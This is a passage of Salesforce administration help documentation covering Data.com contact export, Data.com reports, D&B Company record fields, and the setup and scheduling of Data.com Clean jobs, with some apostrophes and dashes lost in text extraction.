MailingPostalCode
MailingCountry
AccountName
NumberofEmployees
AnnualRevenue

1. Start from a list of Data.com contact search results.


2. Export all contacts or a selection.

To export all contacts, click Export Results and choose All.


To export selected contacts, select the ones you want, then click Export Results and choose Selected.

A dialog box appears. It identifies the default name of the export file: DataDotCom_Contacts.csv.
3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version.
Click Save As to rename it.
You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using
the Data.com ID number from the Data.com field.
These records won't be imported from the Data Loader.

Any record that has the same Data.com ID (from the Data.com field) as another record within the .csv file.
Any record that has the same Data.com ID (from the Data.com field) as a record already in Salesforce.

See Also:
Data.com Search Fields and Filters
Data Loader Overview
Finding and Adding Data.com Contacts from the Data.com Tab
Getting Data.com Contacts from an Account
Data.com Search Fields and Filters

879

Data.com Administration

Installing the Data.com Reports AppExchange Package

Installing the Data.com Reports AppExchange Package


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To install packages:

Download AppExchange Packages

The Data.com Reports AppExchange package offers several preconfigured Data.com reports and a corresponding set of
analytics and impact dashboards. Use these tools to monitor the impact of Data.com data on your leads, forecast, and revenue.
Important: Starting July 1, 2012, this package will not be compatible with the Jigsaw for Salesforce AppExchange
package.
1. Go to the Data.com Reports AppExchange page to download the product.
2. To install Data.com Reports, follow the instructions in Installing a Package.
3. Let your users know that the Data.com reports and dashboards are available.

See Also:
Using Data.com Reports and Dashboards
Installing a Package

Using Data.com Reports and Dashboards


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To run Data.com reports:

Run reports

The Data.com Reports AppExchange package offers several preconfigured reports and a corresponding impact dashboard.
Use these tools to instantly see the impact of Data.com data on your leads, forecast, and revenue. This table describes each
report.
For more information, see Installing the Data.com Reports AppExchange package on page 880.
Report

Description

No. Accounts by Clean Status

How many accounts have a clean status? Grouped by clean


status.

880

Data.com Administration

Using Data.com Reports and Dashboards

Report

Description

No. Accounts Matched to Data.com Records

How many accounts are matched to records at Data.com?


Grouped by Managed and Not Managed.

No. Accounts from Data.com

How many accounts have been added from Data.com?


Grouped by date and creator.

Forecast for Data.com-Sourced Opps

What is the sales forecast from open opportunities with data


added from Data.com?

No. Contacts by Clean Status

How many contacts have a clean status? Grouped by clean


status.

No. Contacts Matched to Data.com Records

How many contacts are matched to records at Data.com?


Grouped by Managed and Not Managed.

No. Contacts from Data.com

How many contacts have been added from Data.com?


Grouped by date and creator.

No. Converted Leads from Data.com

How many converted leads were sourced from Data.com?

No. Leads by Clean Status

How many leads have a clean status? Grouped by clean status.

No. Leads Matched to Data.com Records

How many leads are matched to records at Data.com?


Grouped by Managed and Not Managed.

No. Leads from Data.com

How many leads have been added from Data.com? Grouped


by date and creator.

Percentage Converted Leads from Data.com

What percentage of converted leads were sourced from


Data.com?

Percentage Sales Forecast from Data.com

What percentage of my sales forecast comes from records


imported from Data.com?

Percentage Sales Revenue from Data.com

What percentage of my sales revenue came from records


imported from Data.com?

Revenue from Data.com-Sourced Opps

What is the sales revenue amount from closed-won


opportunities with data added from Data.com?

To run any Data.com report, just click the Reports tab, expand the Data.com list, and select the one you want.
To view Data.com reports as dashboards, just click the Dashboards tab. In the View Dashboards drop-down, under
Data.com, select Data.com Impact or Data.com Analytics.

See Also:
Data.com Search Fields and Filters

881

D&B Company Administration

Uninstalling Jigsaw for Salesforce

Uninstalling Jigsaw for Salesforce


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To uninstall packages

Download AppExchange Packages AND Customize


Application

To uninstall Jigsaw for Salesforce, follow the instructions in the Jigsaw for Salesforce Uninstall Guide.

Using Clean features from Jigsaw for Salesforce


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To clean account records:

Edit on accounts

To clean contact records:

Edit on contacts

To clean lead records:

Edit on leads

If you use Data.com for prospecting in Salesforce, but use the Jigsaw for Salesforce AppExchange package to clean your records,
follow the instructions in Using Data.com Clean in Salesforce to clean your account, contact, and lead records.
For instructions on setting up Jigsaw for Salesforce, see Jigsaw for Salesforce Configuration Guide.

D&B COMPANY ADMINISTRATION


D&B Companies Overview
Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

Dun & Bradstreet (D&B) is the worlds leading source of commercial information and insight on businesses, enabling companies
to Decide with Confidence for over 170 years. D&Bs global database contains the worlds largest source of business records,
and is backed by D&Bs proprietary DUNSRight quality assurance process, ensuring you that company information is
complete and accurate.

882

D&B Company Administration

Implementing D&B Companies

As part of Salesforces Data.com solution, D&B gives users integrated access to its trusted global database of millions of
companies and corporate family hierarchies, and over 70 fields of company information, such as D-U-N-S Number and
NAICS industry codes, directly in Salesforce.
D&B Companies is available to organizations that purchase Data.com Premium. Heres how it works.
When you add an account from Data.com, a corresponding D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. Just click the link to open the D&B Company record and view the rich set of
D&B data, including a Company Description field, plus sections like Primary Data and Firmographic Data. The Accounts
related list on the page links back to the account record.
For example, if you add an account record for Starbucks, when you open its record, the D&B Company field value is Starbucks
Corporation. The value is underlined to identify it as a link. Just click the link to open the Starbucks Corporation D&B
Company record.

See Also:
Configuring Data.com Premium
Working With D&B Company Records
D&B Company Fields
Cleaning Records With Data.com Clean
Finding and Adding Accounts from Data.com
D&B Company Fields
Cleaning Records With Data.com Clean

Implementing D&B Companies


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

If your organization has purchased Data.com Premium, you have access to the D&B Companies tab, which lists D&B Company
records for all accounts youve added from Data.com. Each record displays a large set of D&B fields. Setting up D&B Companies
is easy to dojust follow the steps for setting up Data.com Premium, and follow the guidelines here.
Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll
see either Corporate or Premium.

Implementation Guidelines

Make sure you add the D&B Companies tab to user profiles.
The D&B fields that also exist on the account object (such as D-U-N-S Number, SIC Code, and NAICS Code) are
managed fields, and they are updated by both manual and automated clean processes.
Because the D&B Company object is read-only, you cant create task and field update workflow rules for it. Rules that
are triggered by D&B field changes that act on other objects are permitted, however. For example, you can create a workflow
rule that updates a custom field on an account record when a D&B Company record is created.

883

D&B Company Administration

Working With D&B Company Records

You can enable users to view and delete D&B Company records by assigning the appropriate profile permissions. Standard
profiles automatically have the Read D&B Company records permission, but need to be assigned the Delete D&B
Company records permission. Custom profiles need to be assigned both permissions.

See Also:
D&B Companies Overview

Working With D&B Company Records


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed


To enable deletion of D&B Company records:

Customize Application

When you add an account from Data.com, a corresponding D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. If you delete an account you might also want to delete the D&B Company
record.
Important: Because the D&B Company field is editable on account records, more than one account might end up
associated to a single D&B Company record. We recommend that you do not delete D&B Company records that are
associated to more than one account record.
System administrators are enabled by default to delete D&B Company records, but if you need to enable other users to delete
these records, you must first create a permission set that allows you to.

Creating a Permission Set for Deleting D&B Company


Records
Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed


To implement D&B Companies:

Customize Application

To create permission sets:

Manage Users

System administrators are enabled by default to delete D&B Company records, but if you need to enable other users to delete
these records, you must first create a permission set that allows them to.
1. Create a new permission set. In the Label field, enter a name related to the permission youre granting. For example: D&B
Company Delete. In the User License field, select Salesforce. Click Save.

884

D&B Company Administration

Deleting D&B Company Records

2. On the permission sets overview page, click App Permissions.


3. On the App Permissions page, click Edit, then select Delete D&B Company records. Because the Read D&B
Company records permission is also required before you can delete D&B Company records, that permissions checkbox
is selected automatically.
4. Click Save.
A Delete button now appears on all D&B Company records.

Deleting D&B Company Records


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed


To delete D&B Company records:

Read D&B Company records AND


Delete D&B Company records

When you add an account from Data.com, a corresponding D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. If you delete an account you might also want to delete the D&B Company
record.
1. If you need to, create a permission set to allow you to delete D&B Company records.
2. Open the D&B record you want to delete and click Delete.

See Also:
Creating Permission Sets

D&B Company Fields


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

Organizations that have purchased Data.com Premium have access to our complete set of Dun & Bradstreet (D&B) dataover
70 fields. When an account record is added to Salesforce, a D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. This topic defines the fields youll see on D&B Company records.
Field

Description

Annual Sales Volume

The total annual sales revenue in local currency. D&B tracks


revenue data for publicly traded companies, Global Ultimates,
Domestic Ultimates, and some headquarters. D&B does not
supply this data for branch locations.

885

D&B Company Administration

D&B Company Fields

Field

Description

Annual Sales Volume Indicator

The reliability of the Annual Sales Volume figure. Available


values are Actual number, Low, Estimated (for all
records), Modeled (for non-US records). A blank
value indicates this data is unavailable.

Company Description

A brief description of the company, which may include


information about its history, its products and services, and
its influence on a particular industry. This field is
Description on the Account record.

Delinquency Risk

The probability that a company will pay with a significant


delay compared to the agreed terms. The risk level is based
on the standard Commercial Credit Score, and ranges from
low risk to high risk. Also known as marketing prescreen.
Available values are High risk of delinquency, Low
risk of delinquency, and Moderate risk of
delinquency. D&B supplies this data for US organizations
only.

Domestic Ultimate Business Name

The primary name of the Domestic Ultimate, which is the


highest ranking subsidiary, specified by country, within an
organizations global family tree.

Domestic Ultimate D-U-N-S Number

The D-U-N-S Number for the Domestic Ultimate, which is


the highest ranking subsidiary, specified by country, within
an organizations global family tree.

D-U-N-S Number

The Data Universal Numbering System (D-U-N-S) number


is a unique, nine-digit number assigned to every business
location in the D&B database that has a unique, separate, and
distinct operation. D-U-N-S numbers are used by industries
and organizations around the world as a global standard for
business identification and tracking.

Facsimile Number

The companys facsimile number.

Fifth NAICS Code

An additional NAICS code used to further classify an


organization by industry. See Primary NAICS Code.

Fifth NAICS Description

A brief description of an organizations line of business, based


on the corresponding NAICS code. See Primary NAICS
Description.

Fifth SIC Code

An additional SIC code used to further classify an organization


by industry. See Primary SIC Code.

Fifth SIC Description

A brief description of an organizations line of business, based


on the corresponding SIC code. See Primary SIC Description.

Fifth Tradestyle

An additional tradestyle used by the organization. See Primary


Tradestyle.

FIPS MSA Code

The Federal Information Processing Standards (FIPS) and


the Metropolitan Statistical Area (MSA) codes identify the
organizations location. The MSA codes were defined and
developed by the National Institute of Standards and

886

D&B Company Administration

Field

D&B Company Fields

Description
Technology (NIST), an organization within the US Federal
Department of Commerce. D&B supplies this data for US
organizations only.

FIPS MSA Code Description

A brief description of an organizations FIPS MSA code.


D&B supplies this data for US organizations only.

Fourth NAICS Code

An additional NAICS code used to further classify an


organization by industry. See Primary NAICS Code.

Fourth NAICS Description

A brief description of an organizations line of business, based


on the corresponding NAICS code. See Primary NAICS
Description.

Fourth SIC Code

An additional SIC code used to further classify an organization


by industry. See Primary SIC Code.

Fourth SIC Description

A brief description of an organizations line of business, based


on the corresponding SIC code. See Primary SIC Description.

Fourth Tradestyle

An additional tradestyle used by the organization. See Primary


Tradestyle.

Geocode Accuracy

The level of accuracy of a locations geographical coordinates


compared with its physical address. Available values include
Rooftop level, Street level, Block level,
Census tract level, and Mailing address level.

Global Ultimate Business Name

The primary name of the Global Ultimate, which is the highest


entity within an organizations global family tree and may
oversee branches and subsidiaries.

Global Ultimate D-U-N-S Number

The D-U-N-S Number of the Global Ultimate, which is the


highest entity within an organizations global family tree and
may oversee branches and subsidiaries.

Import/Export

Identifies whether a business imports goods or services, exports


goods or services, and/or is an agent for goods.

International Dialing Code

The required code for international calls.

Latitude

The geographical coordinates that specify the north-south


position of a point on the Earths surface. Used with longitude
to specify a precise location, which is then used to assess the
Geocode Accuracy.

Legal Structure

Identifies the legal structure of an organization. Available


values include Cooperative, Nonprofit
organization, Local government body,
Partnership of unknown type, and Foreign
company.

Local Currency Code

The currency in which the companys sales volume is expressed.


The full list of values can be found at the Optimizer Resources
page maintained by D&B.

Local Currency ISO Code

The code used to represent a companys local currency. This


data is provided by the International Organization for

887

D&B Company Administration

Field

D&B Company Fields

Description
Standardization (ISO) and is based on their three-letter
currency codes. For example, USD is the ISO code for United
States Dollar.

Location Ownership Indicator

Indicates whether a company owns or rents the building it


occupies.

Location Type

Identifies the organizational status of a company. Available


values are Single location, Headquarters/Parent,
and Branch. This field is Account Site on the Account
record.

Longitude

The geographical coordinates that specify the east-west


position of a point on the Earths surface. Used with latitude
to specify a precise location, which is then used to assess the
companys Geocode Accuracy.

Mailing Address

The address where a company has its mail delivered.

Marketing Segmentation Cluster

Twenty-two distinct, mutually exclusive profiles, created as a


result of cluster analysis of D&B data for US organizations.
Available values include High-Tension Branches of
Insurance/Utility Industries, Rapid-Growth
Large Businesses, Labor-Intensive Giants,
Spartans, Main Street USA. D&B supplies this data
for US organizations only.

Minority-Owned Indicator

Indicates whether an organization is owned or controlled by


a member of a minority group. D&B supplies this data for US
organizations only.

National Identification Number

The identification number used in some countries for business


registration and tax collection. This field does not apply to
US organizations.

National Identification System

Identifies the type of national identification number used. The


full list of values can be found at the Optimizer Resources
page maintained by D&B.

Number of Business Family Members

The total number of family members, worldwide, within an


organization, including the Global Ultimate, its subsidiaries
(if any), and its branches (if any).

Number of EmployeesGlobal

The total number of employees at the Global Ultimate, which


is the highest entity within an organizations global family tree
and may oversee branches and subsidiaries.

Number of EmployeesGlobal Indicator

The reliability of the Number of EmployeesGlobal figure.


Available values are Actual number, Low, Estimated
(for all records), Modeled (for non-US
records). A blank value indicates this data is unavailable.

Number of EmployeesLocation

The number of employees at a specified location, such as a


branch location.

Number of EmployeesLocation Indicator

The reliability of the Number of EmployeesLocation figure.


Available values are Actual number, Low, Estimated

888

D&B Company Administration

Field

D&B Company Fields

Description
(for all records), Modeled (for non-US
records). A blank value indicates this data is unavailable.

Number of EmployeesTotal

The total number of employees in the company, including all


subsidiary and branch locations. This data is only available on
records that have a value of Headquarter/Parent in the
Location Type field.

Out of Business Indicator

Indicates whether the company at the specified address has


discontinued operations.

Ownership Type Indicator

Indicates whether ownership of the company is public or


private. The subsidiaries of a publicly traded parent company
will show a value of Private unless the subsidiaries are
independently traded. This field is Ownership on the
Account record.

Parent Company Business Name

The primary name of the parent or headquarters company.

Parent Company D-U-N-S Number

The D-U-N-S Number for the parent or headquarters.

Primary Address

The address where a company is physically located.

Primary Business Name

The primary or registered name of a company.

Primary NAICS Code

The six-digit North American Industry Classification System


(NAICS) code is the standard used by business and
government to classify business establishments according to
their economic activity for the purpose of collecting, analyzing,
and publishing statistical data related to the US business
economy. The full list of values can be found at the Optimizer
Resources page maintained by D&B. This field is NAICS
Code on the Account record.

Primary NAICS Description

A brief description of an organizations line of business, based


on its NAICS code. This field is NAICS Description on
the Account record.

Primary SIC Code

The four-digit Standard Industrial Classification (SIC) code


is used to categorize business establishments by industry. The
full list of values can be found at the Optimizer Resources
page maintained by D&B. This field is SIC Code on the
Account record.

Primary SIC Description

A brief description of an organizations line of business, based


on its SIC code. This field is SIC Description on the
Account record.

Primary Tradestyle

A name, different from its legal name, that an organization


may use for conducting business. Similar to Doing business
as or DBA. This field is Tradestyle on the Account
record.

Second NAICS Code

An additional NAICS code used to further classify an


organization by industry. See Primary NAICS Code.

889

D&B Company Administration

D&B Company Fields

Field

Description

Second NAICS Description

A brief description of an organizations line of business, based


on the corresponding NAICS code. See Primary NAICS
Description.

Second SIC Code

An additional SIC code used to further classify an organization


by industry. See Primary SIC Code.

Second SIC Description

A brief description of an organizations line of business, based


on the corresponding SIC code. See Primary SIC Description.

Second Tradestyle

An additional tradestyle used by the organization. See Primary


Tradestyle.

Sixth NAICS Code

An additional NAICS code used to further classify an


organization by industry. See Primary NAICS Code.

Sixth NAICS Description

A brief description of an organizations line of business, based


on the corresponding NAICS code. See Primary NAICS
Description.

Sixth SIC Code

An additional SIC code used to further classify an organization


by industry. See Primary SIC Code.

Sixth SIC Description

A brief description of an organizations line of business, based


on the corresponding SIC code. See Primary SIC Description.

Small Business Indicator

Indicates whether the company is designated a small business


as defined by the Small Business Administration of the US
government. D&B supplies this data for US organizations
only.

Stock Exchange

The corresponding exchange for a companys ticker symbol.


For example: NASDAQ or NYSE.

Subsidiary Indicator

Indicates whether a company is more than 50 percent owned


by another organization.

Telephone Number

A companys primary telephone number.

Third NAICS Code

An additional NAICS code used to further classify an


organization by industry. See Primary NAICS Code.

Third NAICS Description

A brief description of an organizations line of business, based


on the corresponding NAICS code. See Primary NAICS
Description.

Third SIC Code

An additional SIC code used to further classify an organization


by industry. See Primary SIC Code.

Third SIC Description

A brief description of an organizations line of business, based


on the corresponding SIC code. See Primary SIC Description.

Third Tradestyle

An additional tradestyle used by the organization. See Primary


Tradestyle.

Ticker Symbol

The abbreviation used to identify publicly traded shares of a


particular stock. Also known as the stock symbol.

URL

An organizations primary website address.

890

Administering Data.com Clean

Data.com Product Suite Overview

Field

Description

US Tax ID Number

The identification number for the company used by the


Internal Revenue Service (IRS) in the administration of tax
laws. Also referred to as Federal Taxpayer Identification
Number. D&B supplies this data for US organizations only.

Woman-Owned Indicator

Indicates whether a company is more than 50 percent owned


or controlled by a woman. D&B supplies this data for US
organizations only.

Year Started

The year the company was established or the year when current
ownership or management assumed control of the company.
D&B does not supply this data for branch locations.

See Also:
D&B Companies Overview
D&B Companies Overview
Finding and Adding Accounts from Data.com
When I add CRM records from Data.com, how do I know which field values have Data.com data?

ADMINISTERING DATA.COM CLEAN


Data.com Product Suite Overview
Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

Watch a Demo (3:19 minutes)


Data.com is a leading provider of business information and data, combining 30 million crowd-sourced business contacts with
accounts from Dun & Bradstreet (D&B) to deliver the best data source inside of Salesforce. Within Salesforce, you can search
for Data.com accounts and contacts right on the Data.com tab, and if you have a Data.com license, you can add records to
Salesforce. You can add your contact search results as either contacts or leads. It's remarkably easy to find the accounts and
contacts you need, and using Data.com is a great way to plan your sales territories, segment campaigns, find new accounts to
engage, and get new contacts to quickly expand your sales network. The Data.com product suite includes Data.com Corporate
and Data.com Premium, as well as related products Data.com Clean and Data.com Reports. This topic describes them all,
and explains how they work together.

891

Administering Data.com Clean

Data.com Product Suite Overview

Data.com Corporate
Data.com Corporate is an upgrade to the original Salesforce Data.com offering. It provides additional D&B fields, including
D-U-N-S Number, NAICS Code, NAICS Description, and more. With Corporate, all Salesforce users can search Data.com
for accounts and contacts. Users with Data.com licenses can:

Add accounts and contacts to Salesforce, and add contacts as leads.


Add contacts for an account directly from the account record.
Access the basic set of D&B fields provided for accounts.
Manually clean Salesforce account, contact, and lead records, whether they were added from Data.com or not.

Starting December 16, 2011, all organizations purchasing Data.com received the Data.com Corporate product. As of the
Summer 12 release, the Data.com Premium upgrade is available. Organizations using previous versions have a limited set of
fields.

Data.com Premium
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and D&B fields available
in Corporate, plus over 70 additional D&B fields for accounts you add to Salesforce from Data.com. These fields are grouped
in a D&B Company record thats linked to the account, and accessible on the D&B Companies tab.

Data.com Clean
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning
for your account, contact, and lead records. You can purchase Data.com Clean for use on its own or to supplement the Clean
features within Data.com Corporate or Premium. Data.com Clean must be purchased for every Salesforce user you want to
use it. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean
Salesforce accounts, contacts, and leads, and you can configure jobs to clean records automatically.

Data.com Reports
Want to analyze the impact of Data.com data on your business? Use the Data.com Reports AppExchange package. It offers
several preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records
are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue.

Considerations for Organizations Using Jigsaw for Salesforce


If your organization is still using the Jigsaw for Salesforce AppExchange package, you should consider migrating to the
Data.com and Data.com Clean products built in to Salesforce (and described in this topic). For information and assistance,
contact Salesforce customer support.

See Also:
Data.com Clean Overview
Finding and Adding Accounts from Data.com
Finding and Adding Contacts from Data.com
Adding Data.com Contacts as Leads
What product should my organization use to clean our account, contact, and lead records?
How do I know which Data.com product my organization has?

892

Administering Data.com Clean

Data.com Clean Overview

Data.com Clean Overview


Available in: Developer, Enterprise, Professional, and Unlimited editions

Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning
for your account, contact, and lead records. You can purchase Data.com Clean for use on its own or to supplement the Clean
features within Data.com Corporate or Premium. Data.com Clean must be purchased for every Salesforce user you want to
use it. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean
Salesforce accounts, contacts, and leads, and you can configure jobs to clean records automatically.
Clean works by comparing your Salesforce account, contact, and lead records with records from Data.com, linking records
that match, and providing clean status information on the Salesforce record. You can choose to implement Clean for accounts,
contacts, and leads, and specify whether the clean process will flag differences between the two records, or also auto-fill blank
Salesforce fields with Data.com values.
Licensed users can easily clean individual records manually, comparing their fields and values side by side with those from the
linked Data.com record. Your organization can also set up automated clean jobs to run as often as every day. Metrics and
analytics provide detailed information about the value of Data.com Clean to your organization: see how many of your Salesforce
records are matched to Data.com records, and how many have been updated by manual and automated clean processes.
Data.com Corporate and Data.com Premium provide access to account data from Dun & Bradstreet (D&B). For those
organizations, Data.com Clean also cleans the basic set of D&B fields that are included in Data.com Corporate and Data.com
Premium.

See Also:
Cleaning Records With Data.com Clean
What product should my organization use to clean our account, contact, and lead records?

Implementing Data.com Clean


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To implement Data.com Clean:

Customize Application

To enable Data.com Clean users:

Manage Users

To install AppExchange packages:

Download AppExchange Packages

Its easy to implement Data.com Clean. Just perform these tasks.


1. Enable Data.com Clean.
2. Configure your account, contact, and lead page layouts with the buttons and fields you need.

893

Administering Data.com Clean

3.
4.
5.
6.

Enabling Data.com Clean

If you use Data.com Corporate or Data.com Premium, update your field-level security so users see fields provided by D&B.
Define your Clean preferences.
Schedule your Clean jobs.
Install the Data.com Reports package.

Once youve finished implementing Data.com Clean, to get the optimum benefit from the product, you should:

Regularly review your Data.com Clean record match results to make sure records are matched as expected.
Regularly monitor your organizations record match and update rates and take steps to improve those rates if necessary.

If youre using Data.com together with Data.com Clean, see Implementing Data.com on page 869.

Enabling Data.com Clean


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To enable Data.com Clean:

Customize Application

Enable Data.com Clean to make sure your CRM records are always up to date. You can use Clean with all your account,
contact, and lead recordsnot just those added from Data.com.
Enabling Clean makes clean features available to your organization and it causes the Preferences and Jobs links to appear
within the Clean section of the Setup tree (Your Name > Setup > Data.com Administration > Clean).
Note:
Enabling Clean does not clean your records immediately, and you can click Disable to turn the feature off.
1. Click Your Name > Setup > Data.com Administration > Clean > Settings
2. Click Enable Clean.

See Also:
Implementing Data.com Clean

894

Administering Data.com Clean

Configuring Page Layouts for Data.com and Data.com Clean

Configuring Page Layouts for Data.com and Data.com


Clean
Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To customize page layouts:

Customize Application

To view page layouts:

View Setup

When you implement Data.com and Data.com Clean, so that users can use the product, you need to add buttons and fields
to your Account, Contact, and Lead page layouts. Heres how.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Accounts > Page Layouts.
From the list of page layouts, click Edit next to the layout(s) your Clean users will use.
On the Account Layout page, from the list of page element categories, click Fields.
Drag the Clean Status field into place on the page where you want it to appear.
If you use Data.com Corporate or Data.com Premium, add the D&B fields you want users to see. These include Account
Site, D-U-N-S Number, NAICS Code, Tradestyle, and more. For a complete list of the D&B fields available on
account and lead records, see Account Fields and the Lead Fields topics in the Salesforce help.
Tip: We recommend creating a section for D&B fields and grouping them there. To create a section, from the
Fields group, just drag the Section element into place on the page.

6. From the list of page element categories, click Buttons. Drag the Clean button into place on the page.
7. Click Save.
8. Now repeat these steps to configure your Lead page layouts. Youll need the Clean Status field and the Clean button.
The only D&B field available on Lead page layouts is Company D-U-N-S number. Add that.
9. Finally, add the Clean Status field and Clean button to your Contact page layouts. (Contacts does not include any
D&B fields.)

895

Administering Data.com Clean

Setting Field-Level Security for Data.com

Setting Field-Level Security for Data.com


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To set field-level security:

Customize Application

If your organization uses Data.com Corporate or Data.com Premium, you can view a number of D&B fields on account
records, and those fields are included when users manually clean records. To make sure your users can read and edit the fields
and their values, and that they appear on the Account Card, you need to set field-level security (FLS) for:

Account Site
Ownership
SIC Code
Ticker Symbol

There are multiple ways to set field-level security, but since you only need to set FLS for four fields, we recommend starting
from the fields and choosing the user profiles for users who use Data.com.
1. Click Your Name > Setup > Customize > Accounts > Fields.
2. Click the field label to open the detail page for each of these fields: Account Site, Ownership, SIC Code and Ticker
Symbol.
3. On each fields detail page, click Set Field-Level Security. For each profile whose users need to read and edit the
fields, select the Visible checkbox. For example, if users in the Standard User profile will use Data.com Clean, select the
Visible checkbox for that profile.

Defining Your Data.com Clean Preferences


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To define Data.com Clean Preferences:

Customize Application

Clean preferences let you specify:

Which objects records to clean with automated jobs.


How you want to clean them.

Jobs can clean account, contact, and lead records by flagging all fields whose values are different from Data.com values so that
users can compare the records and accept changes manually. You can also elect to auto-fill blank fields with Data.com data.
Your preferences take effect when the next scheduled clean job runs, and users will see the flags, as appropriate, when they
open records.

896

Administering Data.com Clean

Scheduling Data.com Clean Jobs

Note: Converted leads are excluded from Leads clean jobs.

1. Click Your Name > Setup > Data.comAdministration > Clean > Preferences.
2. Select the Enable Clean jobs checkbox for each object whose records you want to clean. (If you clear the Enable Clean
jobs checkbox, automated jobs will not run for objects of that type.)
3. For each object youve enabled, select either:

Flag all differences per record to only identify fields whose values are different from Data.com values or
Flag differences and auto-fill blank fields to identify fields whose values are different and fill blank

fields with values from Data.com.

See Also:
Scheduling Data.com Clean Jobs
Implementing Data.com Clean
Converting Leads

Scheduling Data.com Clean Jobs


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To schedule Data.com Clean jobs and view job history:

Customize Application

To keep your records clean status up to date, schedule automated jobs to compare your records with Data.com. Jobs are queued
according to your scheduling settings, and they run independently for accounts, contacts, and leads.
If you schedule jobs for at least one day of the week, jobs will process all records of enabled objects once every two weeks, even if
no records have changed. This is called a full sync. In between these full syncs, based on the schedule you select, jobs will process
only records of enabled objects that have Not Compared clean status (likely because Salesforce records have changed since the
previous job was run). This is called an incremental sync.
1. Click Your Name > Setup > Data.com Administration > Clean > Jobs.
2. Select the days of the week when you want jobs to run.
3. Select your preferred start time.
Note: Jobs run independently, so their exact start times may vary.

897

Administering Data.com Clean

Viewing Data.com Clean Job History

4. Click Save.

See Also:
Viewing Data.com Clean Job History
Implementing Data.com Clean

Viewing Data.com Clean Job History


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To schedule Data.com Clean jobs and view job history:

Customize Application

The Clean Jobs History table lists recent clean jobs and provides related details.
If you schedule jobs for at least one day of the week, jobs will process all records of enabled objects once every two weeks, even if
no records have changed. This is called a full sync. In between these full syncs, based on the schedule you select, jobs will process
only records of enabled objects that have Not Compared clean status (likely because Salesforce records have changed since the
previous job was run). This is called an incremental sync.
If a job processes any recordswith or without errorswe provide a job log for you to view. Job logs provide details about the
number of records processed and matching results, or errors the jobs encountered at either the batch or entity (record) level.
Job logs are always produced after full syncs. We store job logs for seven days.
1. Click Your Name > Setup > Data.com Administration > Clean > Jobs.
2. View job details in the Clean Jobs History section. This table defines each column.
Column Heading

Definition

Date

The date the job was run.

Time Submitted

The time the job was submitted to the job queue. Jobs run
independently, so this might not be the exact time the job
was run.

Job Type

The type of job: for Accounts, Contacts, or Leads.

Job Status

The status of the job:


Queued: the job is in the queue to run. For jobs in this
status, the Time Submitted column displays a dash ().
Preparing: the job is being prepared to run.
Processing: the job is in process.
Completed: the job has finished running (with or without
errors).

898

Administering Data.com Clean

Column Heading

Viewing Data.com Clean Job History

Definition
Failed: the job failed to run.
Aborted: the job was aborted before or while it ran.

Errors

The type of error or errors, if any, the job had while it ran.
If a job encounters errors at the entity (record) level, youll
see Update in this column. If the job encounters a batch
error, youll see Batch. A dash indicates either no errors or
no data.

Job Log

A link to the job log, if any, which is a .csv file you can
download and open.
This column displays a dash () if no job has run.

3. If the job processed one or more records, with or without errors, you can click the View link in the Job Log column to
download the job log .csv file.
The first four columns provide data about the number of records processed and the match results. The last four provide
information about batch and entity (record) errors, if any. If the job had a batch error, youll see a single line with details.
If the job had entity errors, each file that produced an error will appear on its own line.
Column Heading

Definition and Troubleshooting Guidelines

Records in batch

The number of Salesforce records processed by the job.

Matched count

The number of Salesforce records matched to Data.com


records during the job.

Unmatched count

The number of Salesforce records not matched to Data.com


records during the job.

Inactive count

The number of inactive Salesforce records identified during


the job.

Batch error

The explanation of a batch error, if any.

Error

Batch indicates a batch error. Entity indicates an entity


error.

Entity ID

The unique ID of a record that produced an error during


the job. To open the record, append the 15-digit ID to the
URL of your salesforce instance. For example:
https://na1.salesforce.com/0013000000hKBTq.

Entity error

An explanation of any entity error that was produced because


a record failed to savefor example, because of a validation
rule failure. Entity errors usually result from validation rule

899

Administering Data.com Clean

Column Heading

Understanding How Salesforce and Data.com Records are Matched

Definition and Troubleshooting Guidelines


failures or required field violation. If an explanation exists,
it will appear.

See Also:
Scheduling Data.com Clean Jobs
Implementing Data.com Clean

Understanding How Salesforce and Data.com Records are


Matched
Available in: Developer, Enterprise, Professional, and Unlimited editions

